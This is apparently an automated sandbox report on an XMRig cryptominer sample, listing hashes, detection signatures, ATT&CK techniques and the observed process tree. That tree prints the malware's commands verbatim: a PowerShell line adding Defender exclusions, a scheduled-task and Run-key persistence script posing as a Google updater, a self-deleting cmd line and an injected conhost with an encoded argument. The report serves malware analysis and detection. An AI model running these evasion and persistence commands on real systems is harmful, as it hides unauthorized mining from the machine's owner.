xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
375s
max time network
1785s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2068 created 1264	2068	UMRsPGc4u9tycx9r.exe	11
PID 2068 created 1264	2068	UMRsPGc4u9tycx9r.exe	11
PID 2068 created 1264	2068	UMRsPGc4u9tycx9r.exe	11
PID 2068 created 1264	2068	UMRsPGc4u9tycx9r.exe	11
PID 3016 created 1264	3016	updater.exe	11
PID 3016 created 1264	3016	updater.exe	11
PID 3016 created 1264	3016	updater.exe	11
PID 3016 created 1264	3016	updater.exe	11
PID 704 created 1264	704	conhost.exe	11
PID 3016 created 1264	3016	updater.exe	11

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral23/memory/2180-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2180-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2592	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3016	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2948	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral23/memory/2180-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2180-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3016 set thread context of 704	3016	updater.exe	47
PID 3016 set thread context of 2180	3016	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	UMRsPGc4u9tycx9r.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2560	schtasks.exe
2908	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1688	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c0af8d7d874eda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2068	UMRsPGc4u9tycx9r.exe
2068	UMRsPGc4u9tycx9r.exe
2404	powershell.exe
2068	UMRsPGc4u9tycx9r.exe
2068	UMRsPGc4u9tycx9r.exe
2872	powershell.exe
2068	UMRsPGc4u9tycx9r.exe
2068	UMRsPGc4u9tycx9r.exe
2068	UMRsPGc4u9tycx9r.exe
2068	UMRsPGc4u9tycx9r.exe
2596	powershell.exe
3016	updater.exe
3016	updater.exe
1916	powershell.exe
3016	updater.exe
3016	updater.exe
2584	powershell.exe
3016	updater.exe
3016	updater.exe
3016	updater.exe
3016	updater.exe
704	conhost.exe
704	conhost.exe
3016	updater.exe
3016	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
468	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2404	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeDebugPrivilege	3016	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1688	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1688	WMIC.exe
Token: SeSecurityPrivilege	1688	WMIC.exe
Token: SeTakeOwnershipPrivilege	1688	WMIC.exe
Token: SeLoadDriverPrivilege	1688	WMIC.exe
Token: SeSystemtimePrivilege	1688	WMIC.exe
Token: SeBackupPrivilege	1688	WMIC.exe
Token: SeRestorePrivilege	1688	WMIC.exe
Token: SeShutdownPrivilege	1688	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1688	WMIC.exe
Token: SeUndockPrivilege	1688	WMIC.exe
Token: SeManageVolumePrivilege	1688	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1688	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1688	WMIC.exe
Token: SeSecurityPrivilege	1688	WMIC.exe
Token: SeTakeOwnershipPrivilege	1688	WMIC.exe
Token: SeLoadDriverPrivilege	1688	WMIC.exe
Token: SeSystemtimePrivilege	1688	WMIC.exe
Token: SeBackupPrivilege	1688	WMIC.exe
Token: SeRestorePrivilege	1688	WMIC.exe
Token: SeShutdownPrivilege	1688	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1688	WMIC.exe
Token: SeUndockPrivilege	1688	WMIC.exe
Token: SeManageVolumePrivilege	1688	WMIC.exe
Token: SeLockMemoryPrivilege	2180	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2872 wrote to memory of 2560	2872	powershell.exe	32
PID 2872 wrote to memory of 2560	2872	powershell.exe	32
PID 2872 wrote to memory of 2560	2872	powershell.exe	32
PID 2592 wrote to memory of 2716	2592	cmd.exe	36
PID 2592 wrote to memory of 2716	2592	cmd.exe	36
PID 2592 wrote to memory of 2716	2592	cmd.exe	36
PID 2596 wrote to memory of 1660	2596	powershell.exe	38
PID 2596 wrote to memory of 1660	2596	powershell.exe	38
PID 2596 wrote to memory of 1660	2596	powershell.exe	38
PID 2948 wrote to memory of 3016	2948	taskeng.exe	40
PID 2948 wrote to memory of 3016	2948	taskeng.exe	40
PID 2948 wrote to memory of 3016	2948	taskeng.exe	40
PID 2584 wrote to memory of 2908	2584	powershell.exe	45
PID 2584 wrote to memory of 2908	2584	powershell.exe	45
PID 2584 wrote to memory of 2908	2584	powershell.exe	45
PID 3016 wrote to memory of 704	3016	updater.exe	47
PID 1092 wrote to memory of 1688	1092	cmd.exe	51
PID 1092 wrote to memory of 1688	1092	cmd.exe	51
PID 1092 wrote to memory of 1688	1092	cmd.exe	51
PID 3016 wrote to memory of 2180	3016	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1264
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2560
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2592
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2584
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2908
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:476
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:704
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1092
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1688
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2180

C:\Windows\system32\taskeng.exe
taskeng.exe {404F486D-BEB8-4775-9BE1-9C94F741D76A} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2948
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
142KB

MD5
c0db67d707b250723a68e3c7eadfa7d3

SHA1
2352f527a8ce6ddb0c1636b4f2821892673de3c5

SHA256
7539603cdfa8590ed38e45ed8c36600a620490da6549e8d42bc0cfcc48c174ab

SHA512
0a6232b88635b1d0e3df916319a7f04313c8e40c8561878820c6b6f40a67fd4286d2f1dd2c17fa1e72f7af368528397cb1ef631931f3669d0314b5ee037b892b

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
670KB

MD5
01df0e2714fd5f0d9f9474774782144c

SHA1
d626f6df7296f755272d0668d951d66c62e8c962

SHA256
3a70fa00af44aec96b143bd423a87df2d1dd5b9009598d85971aaade5ec98137

SHA512
d7bfe92c30c00f835ec44595d44f0143f783cfbcdc373138680fe3a75976fd38813f611474d7ddddb1cc2dfa36a72febfffaf6003187a1f3e9fde9a1d9f57ab8

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e4440957ee57190117b7f1f1d1578865

SHA1
5973b967b066e826cb17f8fe09941b56df515711

SHA256
e9ebc36ee8d8a487a6e05174b811386bdd043b3fb7f54b34952489aa4f178ec4

SHA512
3ae8001b0c5b9528bf8cf17e2a48b3e1bc995dd72f9efae56e5513a36353ec500f0be32e0d0e6ffa16d04c2674cecc0657d194be1dc3a23d35ad472abb824773

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
126KB

MD5
f3468d582f528aae5ba05f3b7c23a29b

SHA1
b4ec3baaf7b7b15c5142c2acbebce258d1c6df1b

SHA256
babdbef293055fab25b8819e9b22b5faa6d47b98ca1ab09a80cb399b5739cad7

SHA512
20af1e645c70678463f14869b1ef52d5fa2c7e896ac9fedb8860dc88b5236d03bed668e8432d7204d7f072d2d959e3d9958b12879a25cd0178ccad7a72c6fdf8

Download Submit
memory/704-75-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/704-71-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1916-49-0x0000000001210000-0x0000000001290000-memory.dmp

Filesize
512KB

Download
memory/1916-48-0x0000000001210000-0x0000000001290000-memory.dmp

Filesize
512KB

Download
memory/1916-47-0x000007FEF4E20000-0x000007FEF57BD000-memory.dmp

Filesize
9.6MB

Download
memory/1916-46-0x0000000001210000-0x0000000001290000-memory.dmp

Filesize
512KB

Download
memory/1916-45-0x000007FEF4E20000-0x000007FEF57BD000-memory.dmp

Filesize
9.6MB

Download
memory/1916-50-0x000007FEF4E20000-0x000007FEF57BD000-memory.dmp

Filesize
9.6MB

Download
memory/2068-28-0x000000013FD00000-0x000000013FF11000-memory.dmp

Filesize
2.1MB

Download
memory/2068-0-0x000000013FD00000-0x000000013FF11000-memory.dmp

Filesize
2.1MB

Download
memory/2180-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-78-0x0000000000D10000-0x0000000000D30000-memory.dmp

Filesize
128KB

Download
memory/2180-79-0x0000000000820000-0x0000000000840000-memory.dmp

Filesize
128KB

Download
memory/2180-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-70-0x0000000000820000-0x0000000000840000-memory.dmp

Filesize
128KB

Download
memory/2180-68-0x00000000001C0000-0x00000000001E0000-memory.dmp

Filesize
128KB

Download
memory/2180-67-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2180-69-0x0000000000D10000-0x0000000000D30000-memory.dmp

Filesize
128KB

Download
memory/2404-7-0x000007FEF57C0000-0x000007FEF615D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-6-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/2404-8-0x0000000002610000-0x0000000002690000-memory.dmp

Filesize
512KB

Download
memory/2404-9-0x000007FEF57C0000-0x000007FEF615D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-5-0x000000001B210000-0x000000001B4F2000-memory.dmp

Filesize
2.9MB

Download
memory/2404-10-0x0000000002610000-0x0000000002690000-memory.dmp

Filesize
512KB

Download
memory/2404-11-0x0000000002610000-0x0000000002690000-memory.dmp

Filesize
512KB

Download
memory/2404-12-0x000007FEF57C0000-0x000007FEF615D000-memory.dmp

Filesize
9.6MB

Download
memory/2584-57-0x0000000001220000-0x00000000012A0000-memory.dmp

Filesize
512KB

Download
memory/2584-52-0x000007FEF57C0000-0x000007FEF615D000-memory.dmp

Filesize
9.6MB

Download
memory/2584-59-0x000007FEF57C0000-0x000007FEF615D000-memory.dmp

Filesize
9.6MB

Download
memory/2584-56-0x0000000001220000-0x00000000012A0000-memory.dmp

Filesize
512KB

Download
memory/2584-58-0x0000000001220000-0x00000000012A0000-memory.dmp

Filesize
512KB

Download
memory/2584-55-0x000007FEF57C0000-0x000007FEF615D000-memory.dmp

Filesize
9.6MB

Download
memory/2584-54-0x000007FEF57C0000-0x000007FEF615D000-memory.dmp

Filesize
